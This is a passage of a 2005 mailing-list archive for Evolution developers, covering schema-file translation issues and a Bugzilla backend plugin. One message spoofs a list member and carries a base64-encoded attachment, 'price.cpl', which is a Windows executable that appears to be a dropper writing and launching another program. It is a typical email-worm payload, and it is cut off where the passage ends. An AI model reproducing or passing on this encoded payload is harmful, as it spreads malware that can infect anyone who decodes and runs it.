prefer, so it's better done now than later > forgotten. > > According to last update, we also have problems updating evolution POT > files in our stats, so that may be of bigger influence than these > changes (depending on how long this is the case). > > This might be only GTP's problem (i.e. wrong POT filename listed in > cvs.gnome.org:gnome-i18n/status/data/translation-status.xml), but it > might be a problem in Evolution itself. According to > http://l10n-status.gnome.org/gnome-2.10/nds_DE/desktop/index.html > there're problems in all of evolution, e-d-s and evolution-exchange. For me all modules at this link are now red (or yellow). Note that evolution versions the GETTEXT_PACKAGE to allow for parallel installs in some cases (e-d-s, gal, evolution-exchange and gtkhhtml all do this) > So, you have my support, if that's of any significance. Of course, I > hope the extent of the changes is not such as to make Evolution > completely untranslated, because it's still one of the biggest modules > in Gnome :) This particular change just affects the schema files. I've committed it the changes except for the mail part because its so large and I haven't finished it yet. If its a big deal, let me know, we can always revert it. -JP -- JP Rosevear From notzed@ximian.com Mon Feb 7 21:54:01 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 680D112410D; Mon, 7 Feb 2005 21:54:01 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id ECB7712437B for ; Mon, 7 Feb 2005 21:53:49 -0500 (EST) Received: (qmail 29451 invoked from network); 8 Feb 2005 02:53:48 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 8 Feb 2005 02:53:48 -0000 Subject: Re: [Evolution-hackers] Schema file issues From: Not Zed To: JP Rosevear Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org In-Reply-To: <1107756940.12870.1.camel@bishop.rosevear.com> References: <1107538072.7848.26.camel@bishop.rosevear.com> <1107565803.26413.16.camel@lostzed.mmc.com.au> <1107756940.12870.1.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-TAkmk6lmZH2dIWCZF62z" Date: Tue, 08 Feb 2005 10:48:40 +0800 Message-Id: <1107830920.4518.16.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Spam-Status: No, hits=-21.3 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,HTML_30_40,IN_REP_TO, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-TAkmk6lmZH2dIWCZF62z Content-Type: text/plain Content-Transfer-Encoding: 7bit Well you asked for an opinion. On Mon, 2005-02-07 at 01:15 -0500, JP Rosevear wrote: > On Sat, 2005-02-05 at 09:10 +0800, Not Zed wrote: > > > > My opinion is 'who cares', its only for the registry editor, which > > shouldn't ever be being used anyway, if all things are working > > properly. > > Well, I do and so do the translators at least. There were also non > string related items in the mail - dead keys, keys in possibly the wrong > spot and schema file naming which need addressing. > > -JP --=-TAkmk6lmZH2dIWCZF62z Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Well you asked for an opinion.

On Mon, 2005-02-07 at 01:15 -0500, JP Rosevear wrote: 
On Sat, 2005-02-05 at 09:10 +0800, Not Zed wrote:
> 
> My opinion is 'who cares', its only for the registry editor, which
> shouldn't ever be being used anyway, if all things are working
> properly.

Well, I do and so do the translators at least.  There were also non
string related items in the mail - dead keys, keys in possibly the wrong
spot and schema file naming which need addressing.

-JP
--=-TAkmk6lmZH2dIWCZF62z-- From mike@axl.net Tue Feb 8 00:22:46 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7C49A1249DB; Tue, 8 Feb 2005 00:22:46 -0500 (EST) Received: from europa.axl.net (axl.net [216.66.11.100]) by lists.ximian.com (Postfix) with SMTP id A8CBB124B8F for ; Tue, 8 Feb 2005 00:22:34 -0500 (EST) Received: (qmail 6182 invoked from network); 8 Feb 2005 05:22:34 -0000 Received: from pool-162-83-196-4.ny5030.east.verizon.net (HELO ?192.168.1.103?) (162.83.196.4) by axl.net with SMTP; 8 Feb 2005 05:22:34 -0000 From: Michael Henson To: evolution-hackers@lists.ximian.com Content-Type: text/plain Date: Tue, 08 Feb 2005 00:20:40 -0500 Message-Id: <1107840041.5476.6.camel@localhost> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=8.2 required=5.0 tests=RCVD_IN_NJABL,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Bugzilla Backend Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I have uploaded an initial implementation of the bugzilla backend for evo -- bug: http://bugzilla.gnome.org/show_bug.cgi?id=127558 Aside from a few rough edges it is mostly functional. There is a more complete writeup of the functionalities and limitations attached to the bug. I do, however have two questions: * What is the best way to handle adding the appropriate source groups? Currently the ui plugin requires the presence of a bugzilla:// group for it to be activated. * When creating a new task list you can choose to import a stored query. It would be great if I could set the name of the list to be the same as the query if no other name were set, but I can't find a clean way to do this and update the ui. Any suggestions? Any other suggestions would be most welcome. -- Michael From notzed@ximian.com Tue Feb 8 22:00:06 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8EB83124502; Tue, 8 Feb 2005 22:00:06 -0500 (EST) Received: from pc4.org (unknown [222.126.19.19]) by lists.ximian.com (Postfix) with SMTP id B4A9C12417C for ; Tue, 8 Feb 2005 21:59:47 -0500 (EST) Date: Wed, 09 Feb 2005 10:03:41 -0800 To: "Evolution-hackers" From: "Notzed" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------oxbkhovhmnbptnahumzq" X-Spam-Status: No, hits=3.7 required=5.0 tests=DATE_IN_FUTURE_12_24,HTML_30_40,MICROSOFT_EXECUTABLE, MIME_HTML_ONLY version=2.53 X-Spam-Level: *** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Hi Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: ----------oxbkhovhmnbptnahumzq Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit :)
----------oxbkhovhmnbptnahumzq Content-Type: application/octet-stream; name="price.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="price.cpl" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAA+kgUEAAAAAAAAAAOAADiELAQUMAAwAAAAC AAAAAAAAQBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAGqEAAAAAgAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADwUAAA8AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACYFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50 ZXh0AAAAIAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAABqVAAAADAAAGpUAAAADAAAAAAAAAAA AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95 amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5 dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2 c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1 dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAADFNQAAZmV0ZXJ5dGV5Zmdl eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz ZGdoampoa2xrO2xramxrZ2poa2xqZ3l0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdm aHRoaGpra2pramdoa3Vqb3VpbGhqa2poeWt1aGtmaHRkZmh0cmpnamh5cmZodHJ0anlydHJ0 aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNlZ3JkcmVkaGZ5anJ0aGpnZmRmZHN5dHJ5cnRo ZmdiZmdoZ2draGxqa2ZoaG1mY2dmaGdoamtqbGZoZ2pramdmc2RnaGpqaGZnZmdqanV0eWl5 dWlpaXl0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdmaHRoaGpra2pramdoa3VpdXlk ZnVqdHlrZ2pkc3dldHRlaGZnaGpnaHVneWpmZ2hmZ2h0cnRqeXJ0cnRocnR5ZWh0ZWVyZWRn ZmRoZmRoZ2RodGRoc2VncmRyZWRoZnlqcnRoamcAeBQAAAAAAAAAAAAAEBUAAJgUAACQFAAA AAAAAAAAAAAuFQAAsBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxBQAANIUAADgFAAA+BQAAAQV AAAAAAAAHhUAAAAAAADEFAAA0hQAAOAUAAD4FAAABBUAAAAAAAAeFQAAAAAAAHVzZXIzMi5k bGwAABoAQ2xvc2VIYW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlB AACeAldyaXRlRmlsZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRl QQBzaGVsbDMyLmRsbAAAAAAAAABVi+yDfQwBdUhoAAQAAGggFgAQ6KIAAAAzwmhhEgAQaCAW ABDonQAAAEFoIBYAEOgmAAAAC8B0GffQagBqAGoAaCAWABBoABAAEGoA6HsAAAC4AQAAAMnC DABVi+yDxPhTVjPbagBqAGoCagBqA2gAAADA/3UI6DkAAACQiUX4QHQjM8K+ADAAEK2SagCN RfxQUlb/dfjoJQAAAEj/dfjoCgAAAEOLw15bycIEAMz/JZgUABD/JZwUABD/JaAUABD/JaQU ABD/JagUABD/JbAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAATzVbNWA1azWBNYY18DX2Nfw1AjYINg42 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZlQAAE1a AAABAAAAAgAAAP//AABAAAAAAAAAAEAAAAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAEAAAABQRQAATAEFAAAAAAAAAAAAAAAAAOAADwELAQAAADoAAABKAAAAAAAAAKAAAAAQ AAAAUAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAIL8AAAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJyiAADRAAAAAPAAAIIMAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAUAAAsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAA6AAAAAAAAujkAAAAQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAADAAAAAAAAPIKAAAAUAAAAAAAAAAAAAAAAAAA AAAAAAAAAABAAADAADAAAAAAAAB1PAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAA AAAAAAAAAFAAAACgAAAARAAAAAIAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAIIMAAAA8AAA ggwAAABGAAAAAAAAAAAAAAAAAAAgAADgYOgBAAAA6IPEBOgBAAAA6V2B7dkhQADobwIAAOjr COsCzSD/JCSaZr5ycugBAAAAmlmNlUYiQADoAQAAAGlYZr9zZ+gqAgAAjVL56AEAAADoW2jM /+KaZmdmZ2ZoZmdoZnV1eXV5aXVpdXlpdXVmbmhn/+Rp/6WyJEAA6eie////6wLNIIvE6wLN IIEAFgAAAA+F9AEAAGnoAAAAAFiZahVajQQCUOjAAQAAZj2G83QD6Y2V6CJAAOi1AQAA6AEA AABpg8QEjb03JUAAucU+AAC6oBNA74oH9tAyxTLCMsbSwALBAsUCwgLG0sgqwSrF9tAqwirG 0sDSyDLB08KIB0dJddLoAQAAAOiDxAQPC+gr0mSLAosgZI8CWF3DmouVsiRAAOhJAQAA6AEA AADHg8QEuyR6AABqBGgAMAAAU2oA/5W2JEAA6AEAAADog8QEaABAAABTUOgBAAAA6YPEBFCN lTclQABS6A4AAADoAQAAAGmDxARaXg5Wy2CLdCQki3wkKPyygKTobAAAAHP4K8noYwAAAHMa K8DoWgAAAHMgQbAQ6FAAAAASwHP3dUCq69bodQAAAEniFOhrAAAA6yys0egPhJcAAAATyesc kUjB4Ais6FEAAAA9AH0AAHMKgPwFcwaD+H93AkFBlYvFVov3K/DzpF7rjwLSdQWKFkYS0sPr JTZVOTZVOTpVOTZVQzZVOTZVDzk2VTk6VTk2VUM2VTk2VQ9VQzkryUHox////xPJ6MD///9y 8sPrIzZVOTZVOTpVOTZVQzZVOTZVDzk2VTk6VTk2VUM2VTk2VQ85K3wkKIl8JBxhw+sBaVhY /+BZUlWNhdoiQABQK8Bk/zBkiSDrA8eE6FHD6wPHhJpZQevwAAAAAAAAAADgogAAAAAAAAAA AAD4ogAA4KIAANiiAAAAAAAAAAAAAAWjAADYogAAAAAAAAAAAAAAAAAAAAAAAAAAAABbowAA AAAAABCjAAAhowAAMKMAAD6jAABNowAAAAAAAEtFUk5FTDMyLkRMTABVU0VSMzIuRExMAAAA R2V0UHJvY0FkZHJlc3MAAABMb2FkTGlicmFyeUEAAABFeGl0UHJvY2VzcwAAAFZpcnR1YWxB bGxvYwAAAFZpcnR1YWxGcmVlAAAATWVzc2FnZUJveEEAAAAAADjj7IJnGVPa76knoGaoYtxh xWT29ZTzNBfOSYrTPVBRErGBfED/xIns4ZDlXUUVwj3I/yJv+RSldf5qqZMN8ir7XveXYMq3 dV4pQAr/CbqTT87BCCJ5fMKWHzP7ss8SeVAnBh2DwOLaxgUbiifRzH0X6eaDKCZo6JKhgyE+ jOAqLnhyAjoxwQLVt2XkkOmj/Zfc3dJOPPw3E0rtXxHogjiS9Hd/YP8cmm9wpLZxJB1BUwhc 4rI1BMibIOCy5/WD5ZcHs7Jgh/xaCw6fLbbea5atnMtfGNjt5XpktYsvgd+Q/b3k9l98rOpr qTIrD7cPNjSUAb1OFN9J1d5HSOCjbR44s/QFDplPqEGHMPTN7/aSR29jDZhccZGL8qg1nHuk XcXj1drd9uIWQavEGMb95msdPvsmA3BpMgAjvPxuCrUqd6Vhs2NSXKQaqQG84cj/1C5ygM9P m93/1ZEY0cQdj5mhCFh0cBoQa4NFMND0iXvGINIf9lZswCsuaFzpUBUY/GbMOHW+/R2JVj6/ fgrrhCU45XdJBQzMYbvasK6qEsh1fLnT0VtYnYitPN/GUS5oKgPeSZYqs6mvH5fIEy8a/rCt My7eg88fwJiqJEdseP4jXodHaOtXcc6YJplQNnGhjG7E4S9onUlfS6Nz4YszICmp4PPxALof Zt9vVoK2p7FIyT7eKo3yV7TmsBb1WTIqUPfD5VvDr31iIwsY5GWiUQDwHdRa24YhGA1DnwXx oI9uhLzMGC76GU+MIgp0IGSGDpk7JbF5PcTWB5Z/Ok5Wz6rjppWKa7eT/mSYghq7eEnIPYIx HezLwmi5BHQMVDZk97QZ+mveSHHS+HjSFuECFUi2K9sluU2fxZ0JSzjG6kPqeyqwJ4ePzK3N Ssgzjj+Ji8HjiMuzqt+8jNYBOT02zn46yhRt4liWEFcNGn6L6WU3mfyWE6ze1kix/xkMiz2u 9UPFOOT5h2yopA7CDR6TJabi3RZThD2ZvqkVJNE0l6A341cKUIZq+7Gsb9/cMHoIE9KCrAg7 gY9fv+GPYAInwqtUvrI96aPOCDj3oK5InYeCtU4fAwK9rNsq3T9S3bH+QOW315/GF1+jQTak dcDXODkgE1x4gnBTxeLgeXyLKuQRBeimv5TwiCBy5uIvPFuQPeA9yoMACmF2kQQucwE/GLeC im7hHJic0HrK4nwVyOm+hMoVouSuBUmgqrJDmfy8HuwsIT7tW5CwaoKQYESrpFcOkIf07MZZ IGhS1gkcJ7O9MXlLJXni7CNXNA5jLO+UujgZbeLdb6K7DBnDza8mbMYKZ548atNu5no0M6vm 7c402/HMzi7RpNU5Idg5q/r7cITgV6vYkGH7TBledICxnZMntrpH8Qiw7phFv0zPCln6v5xI ldJDS23FgOyNSZUdDwlsUtPOH1ATDWt0CTt/vkoZnxnlBuW6mf99Un46b1chj7OEJgQV1okV qLaeILpuuKPsdHTYIZjmfqTSrT+5RAYkRSo15ED88wuqlRvLU22BZNYy03OoRpXP+1KD0DRP Nokjv2xHRGCudlVNADEkHInYJxQ4l1QJLemP93EcuVuT1yMtdMoxmGrK8+5/HufIzJB1xOhQ /9TbCeH+CphWDrWqzOOZke8sVjlRrfoXclYvLEWQfIo0L6nG1FPFSBbRdnqPM+0mpnqpRS7V 4JrEJt6vWyFhIPsLEwwRWEcvko8jP2bGGORzCTTykJTpS+sHCf4oNRpgpDmR0MGuyUFemztO qsGLm0ro0Nc9Thqdfxn/S1TlVVR8/6CFhIyO/m62Mnh5vKEzmOHEqfL4G2dydWb+ADpZTAho kxSY/n6/DtOrB2utge0wWSRCoqQ9TplYicCMy27ZrWh8QHgit997LTXv1Q+MfKVssAhMQ922 a70rE5luNdZkjYqFoBNjKbUKPCrtMz6/cA2jpr+7FmObj/Y/YIb9Q4l4b+Lj/uviPMXUpujK WX4fejKWY6cFivRuKe+L1tFwh2TulnWZYaut7EPUJI3ZQUcCTyxd5qnQzBCSNJTqN171SqY6 lin0f+/n9o62ygk1iA2gGrAlKQzy/mm7dfudigSHjzA7/+VSwVCQKWYfU0RRIGYtQ8LnifON 85AlwmMBzKkrZLwM7a0umhJKuEMhK1EBJojSlH98Var1/Ut7PXF9ZYPMN+k71rF+eFec8kHV 1oBKq1hXcmItR7mc7wuXu7owcWQ1tQVSGn47Fd0lLwqa/kIEn63UPi2ncT+/IIpu1fOCNyqd 08JW7JbmtNozyprAfXoVjvp4os2uNzQ1/QN2xvXOrbY5fSnXOck+ZVdh7rBrWpvQtE0dDMjG 9NFuZIqrpU9Z4CZxK4IUYSGFge8NdXp9w0LkM9oy5RC4XvKd9j0genefSaKXTVV8vz26MgSV IPYKwpgj84SL6CGLmXs6E2pbinA8G6baa+Jn+SMghY/GT7Ct9txSDQkz+PywgdbaFgDMNhzo VqzQ7v2ZQ5LJ7a9ufS9q8ZgYa2GMQNSSeRkXaohUUl23VFLOu5psCEorFEfwZVUfvfm9ExAS hiCknwEYP10x94z45/byx/OQNmlOClLDXP3Qd+E3YEyQXqSkeeGl20JGHMJOy5eDK48YPWS4 Gv/HqPr6TE0fFRF2KPp4BRjGYau5dHnqya2N6l5C4OXlQzlV6zmzQtgErMx4HcZkhhn90oew b+LwzivP2RlQ0u4RwKvfUbRf8XIIOs2ecSUJTPAXS+on87RmTpLiWD6GcnwPccpCoIarYp7X YIpY6Jtb1poN3CNaTt7AiP2JHOpzrKd05c0tiCwWIbxP+5b2AD6VDW/cPK1olcznIln9C01u yyniIy3sB3AVlLZKpCRiyHyCo19dnHFGabl1y4WwNE7VVa9MDjAMrzA2oXQhxannSXhH3iIt HpeMlE/XPVNmOEY3mRBxNRTetmQQaWPUhHRN0l2KOtSZ2wOhHyBrLh32xHQrzHczu1NOJ2jm S4ZwT+VEbAIbLwzb35oUWqWTce5aOmnylMxrOsefKjcV10rKNiCJuVM3Er6T6IWSLN4qA5lJ Fl8x4/Dzgbi/YRkNba0frb0JnWciqWUmWcBc9EzpZdxOwhVtOpaPCpSYxZMPrs5rE4VZjdCW R7Gvk3A/QF6hvWN4dUqhH+uQ/eNeZYmOtvpGGSu1Stj4FHcaQxxl2zl6Q2KNZ7RrS9WPfK0+ kcqMByeYr21jmDNtz3pAYGNKQGoLs1Dm88SBCp6JIg/DOW7g6bOtu4mNmp+Ydyc12/QicqGv TrUnVdEk+kMjoRopDvoLBeUF6qMsGD0BYyPgWW6rO6FqKtpiOmAw6XWSetHDjEtgLG1Qn0iD mbAdd6apH6CA+GOVdOVJETp9T1i+prFxLCEZpODQLkBrMRF3VcyoqcUTedR4ajteTLgSc846 BLFynmrTKt8UiU0jgrI3+ayEb17YUG/WHaVj5PmlKqvwpmlKu7f0gYECjgl+dZdFAzRQNeCc hKAiL3M3kf/txFq0TuZ338y1AYPXzNAzqf6eJnnLOPxd3OFEmJR25BTj32wb58zDpLDQFTLr M1wXc/lXOEHcXx5Rb3nOBPyhA1R0W5qGGXaQkfYsUoW8dCVpFnlOv60wpHsZMuI0PS+vv3F2 MSp/NB1x2mcLBXpL8K1a2j+saRFvFxiv8X9nCYeOTLUcaBwFx/7ob4nwgTWGrI3VQ3BhGDHw AZC5UUISnfZTC7AEcofoM9Z2jMdVBDsNm4yqP+ChllZmPbx0xGNZ2QReQ13fZGXx1wkMxxjb LMjKPsGe39jYqtyCFNRz+2DOi95Gh/TJ4qxfTfcENV3YcKZKxb3qP7m4r8MzwdKYEIGxKMk6 SBzYIY/vjCoW4q8/3o2DHtvng5XNexY5z8T7W9brfsdp/WLNDUdcG3KZpw2uWMU8xr8k0Zx/ J8osXpgSGAHu+AMxJqExRlt3yVpM8d7MKtK91GS3Ne243IzbPzOzpl/GNmtM4BQsqy7vdFl/ S/VJ/6a+6t5uk7J/+2zqN3vtkNqBewaZDu+lotDXkCKsEpj+llvKBQolwbrXv5mOnEwzViNC EHMYVTcDSTYbRbfRlhNqaK1XgtcrgRFVFtmuuxsbZkEhUKJo2p41MyKr5U566XbgU0NX0ceB NIMG19ohTlvHABI3a6lHe89H9BZ0QAyOwRwvyPDA/B89VXco6uvEDnM0+Y3sS333cUZa3+ME xbaNUzvfEWgRhUfxaKTH9ZBF4vZTVXpk7nCluiNgXIdTEmwHoTyfGjZYalcagO7o3EYaDYhy f4gOuLKrBQftGIhRcrWEXai65hMILsRlb6qtdTOl6SfCpP9/C1AhZk50B54YiJzlSmDuvYL3 zvnBIAluQYe+RO5VBIB7Pr4iTXLK9j3mGx0QvYRc0B58n+02uGkPMWnEdiOAWXx/Y1SNvlf2 GEit87BX5ZWd6rtKZpIL9hF6bvbOdE7pq4j319UqLETuP6mghV6JbxJ9s4wJ8WFd4Loja6x/ vG3H4lj31P2K/Zdsdjs6Be3jzDAajKuBJIgcpb/P8OpzHdMn1WOW/SM1830ugF8T24mmM79b 4OjIeRVS3d8Z76D/jkgPAsuCG6plW9Mw/pruFKW9AWlvvcb1sbq0SwtbdClLwujqaGYtc5XH n6Rg7p0jhXU84NxJYZnouXv5lQTLIaMUawDKAaPbdul9Z+UvwE9LvD5cTU8a81DDCZb7/dN+ xs0adQHRSRnvwHV+r4fwvf2YpdT5hoPgOUXD2amhsq8suqWgNLZyqruEmQRoccq5va5jemfz kaxJe3rtTIXnCV+CNAtxy6b16uZzdJG68A7cSTDyT4gMequZRU1yKPcpUe+9U72etPRGuI3m ED2loytllvdrtjhKi87EYctJ+C7C9UjHVdb0cTMrqfJH1JpW0tftdmafW8JKHI07UWPPvWTI fD9uRLCdTpHVgQ+Ey0j6OlNO4jRDbjV5ne98Bro9E0KUB8r8gdaKe8lTJ27RBsFxvaDSE61J 1lA3QSz/GojgzaEcoBfz/fKhqkC7w/SwTwUGBjqjcTnJhe7Rfg+fIRnt1BvJ0oQNk9HeF9Oz B+Tb6IJyWi36pEHTNYMzjncp9ku3Yer4U1MyQ1g3zYV5xs+SFQtyBMIN2NEskzrnddZ6ztNM TpDHHmy7mbRx5kT/AzlqVr49nSe5yClVH4i3kx+K/XNggxz1XYQNTWxqur30hcQPU+YtKORi 9PPZJvc9HCKtRZDppDTcBXE33hkcuWeMuXDuULWlq43pAwgjfB3v3FB5KmYsgNqhK3Rikr7L 8gTQBL274fiJDFDqD8gWGTcmrum2Lnt7ouMoa8/CwSulWZmr2rD/vAMTpPN7HD4YefBQCEz2 ijAAW6C5gUC9aoRdbfbO5IEo9QCV71MY4FBoxY5X5T9LHLtsscHYYOZcffMa56FXqnGRUH67 gAld6eaMSeBTxZ1agXWxAgGIkoZRfjA/M61C09FVnjcxDfvzxOezPdPjeJ3BlarbSUPrZRdg 1malxJZ4/29eaTYcv8VqZfQldgppjbuq8yTlTTMY8B8kAA6Z7ZzORyERWwBOaXUy6siPPNWY XxuQB7uS4rriXaOwDYuxBUaWPXRnx9jFuMHFjZvWqsegWWx8RDWyHaHVJ5KqKOyyuDO9DGRf gw0S9npUo6B7mI9KJQWUG5GT+ikjVEbI/y2i6fRPcw4lFpR6FPTHr1aDjosq4kGV3k2w6nhX 